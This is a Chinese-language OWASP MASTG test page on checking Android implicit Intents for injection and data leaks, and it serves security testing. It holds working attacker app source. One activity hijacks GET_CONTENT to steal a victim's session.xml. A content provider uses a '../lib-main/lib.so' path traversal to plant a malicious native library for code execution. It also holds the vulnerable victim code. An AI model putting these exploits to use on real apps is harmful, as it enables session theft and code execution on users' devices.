MASTG-TEST-0026: 测试隐式 Intent
此测试即将更新
此测试目前可使用,但将作为新的 OWASP MASTG v2 指南 的一部分进行全面修订。
请提交 PR 来帮助我们:MASTG v1->v2 MASTG-TEST-0026:测试隐式 Intent (android)
概述¶
在测试隐式 Intent 时,您需要检查它们是否容易受到注入攻击或潜在泄漏敏感数据。
静态分析¶
检查 Android Manifest,并查找在 <intent>
签名(指定应用打算与之交互的其他应用集),检查它是否包含任何系统操作(例如 android.intent.action.GET_CONTENT
、android.intent.action.PICK
、android.media.action.IMAGE_CAPTURE
等),并在源代码中浏览它们是否出现。
例如,以下 Intent
没有指定任何具体的组件,这意味着它是一个隐式 Intent。它设置了 android.intent.action.GET_CONTENT
操作,以要求用户输入数据,然后应用通过 startActivityForResult
启动 Intent,并指定一个图像选择器。
Intent intent = new Intent();
intent.setAction("android.intent.action.GET_CONTENT");
startActivityForResult(Intent.createChooser(intent, ""), REQUEST_IMAGE);
应用使用 startActivityForResult
而不是 startActivity
,表明它期望一个结果(在本例中是一个图像),因此您应该通过查找 onActivityResult
回调来检查 Intent 的返回值是如何处理的。如果 Intent 的返回值没有得到正确的验证,攻击者可能能够从应用内部的 /data/data/<appname>
存储中读取任意文件或执行任意代码。
案例 1:任意文件读取¶
在本例中,我们将看到攻击者如何由于对 Intent 返回值的不正确验证,从应用内部存储 /data/data/<appname>
中读取任意文件。
以下示例中的 performAction
方法读取隐式 Intent 的返回值,该值可以是攻击者提供的 URI,并将其传递给 getFileItemFromUri
。此方法将文件复制到临时文件夹,如果该文件在内部显示,这很常见。但是,如果应用通过调用 getExternalCacheDir
或 getExternalFilesDir
将 URI 提供的文件存储在外部临时目录中,则攻击者可以在设置 android.permission.READ_EXTERNAL_STORAGE
权限后读取该文件。
private void performAction(Action action){
...
Uri data = intent.getData();
if (!(data == null || (fileItemFromUri = getFileItemFromUri(data)) == null)) {
...
}
}
private FileItem getFileItemFromUri(Context, context, Uri uri){
String fileName = UriExtensions.getFileName(uri, context);
File file = new File(getExternalCacheDir(), "tmp");
file.createNewFile();
copy(context.openInputStream(uri), new FileOutputStream(file));
...
}
以下是利用上述漏洞代码的恶意应用的源代码。
AndroidManifest.xml
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<application>
<activity android:name=".EvilContentActivity">
<intent-filter android:priority="999">
<action android:name="android.intent.action.GET_CONTENT" />
<data android:mimeType="*/*" />
</intent-filter>
</activity>
</application>
EvilContentActivity.java
public class EvilContentActivity extends Activity{
@Override
protected void OnCreate(@Nullable Bundle savedInstanceState){
super.OnCreate(savedInstanceState);
setResult(-1, new Intent().setData(Uri.parse("file:///data/data/<victim_app>/shared_preferences/session.xml")));
finish();
}
}
如果用户选择恶意应用来处理 Intent,则攻击者现在可以从应用的内部存储中窃取 session.xml
文件。在前面的示例中,受害者必须在对话框中显式选择攻击者的恶意应用。但是,开发人员可以选择禁止此对话框并自动确定 Intent 的接收者。这将允许攻击在没有任何其他用户交互的情况下发生。
以下代码示例实现了此接收者的自动选择。通过在恶意应用的 Intent 过滤器中指定优先级,攻击者可以影响选择顺序。
Intent intent = new Intent("android.intent.action.GET_CONTENT");
for(ResolveInfo info : getPackageManager().queryIntentActivities(intent, 0)) {
intent.setClassName(info.activityInfo.packageName, info.activityInfo.name);
startActivityForResult(intent);
return;
}
案例 2:任意代码执行¶
如果受害者应用允许 content://
和 file://
URL,则对隐式 Intent 返回值的不正确处理可能导致任意代码执行。
攻击者可以实现一个 ContentProvider
,其中包含 public Cursor query(...)
来设置任意文件(在本例中为 _lib.so_),如果受害者通过执行 copy
从内容提供程序加载此文件,则攻击者的 ParcelFileDescriptor openFile(...)
方法将被执行并返回恶意 _fakelib.so_。
AndroidManifest.xml
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<application>
<activity android:name=".EvilContentActivity">
<intent-filter android:priority="999">
<action android:name="android.intent.action.GET_CONTENT" />
<data android:mimeType="*/*" />
</intent-filter>
</activity>
<provider android:name=".EvilContentProvider" android:authorities="com.attacker.evil" android:enabled="true" android:exported="true"></provider>
</application>
EvilContentProvider.java
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
MatrixCursor matrixCursor = new MatrixCursor(new String[]{"_display_name"});
matrixCursor.addRow(new Object[]{"../lib-main/lib.so"});
return matrixCursor;
}
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
return ParcelFileDescriptor.open(new File("/data/data/com.attacker/fakelib.so"), ParcelFileDescriptor.MODE_READ_ONLY);
}
EvilContentActivity.java
public class EvilContentActivity extends Activity{
@Override
protected void OnCreate(@Nullable Bundle savedInstanceState){
super.OnCreate(savedInstanceState);
setResult(-1, new Intent().setData(Uri.parse("content:///data/data/com.attacker/fakelib.so")));
finish();
}
}
动态分析¶
动态测试隐式 Intent 的一种便捷方法,尤其是识别潜在泄漏的敏感数据,是使用 Frida 或 frida-trace 并 Hook startActivityForResult
和 onActivityResult
方法,并检查提供的 Intent 及其包含的数据。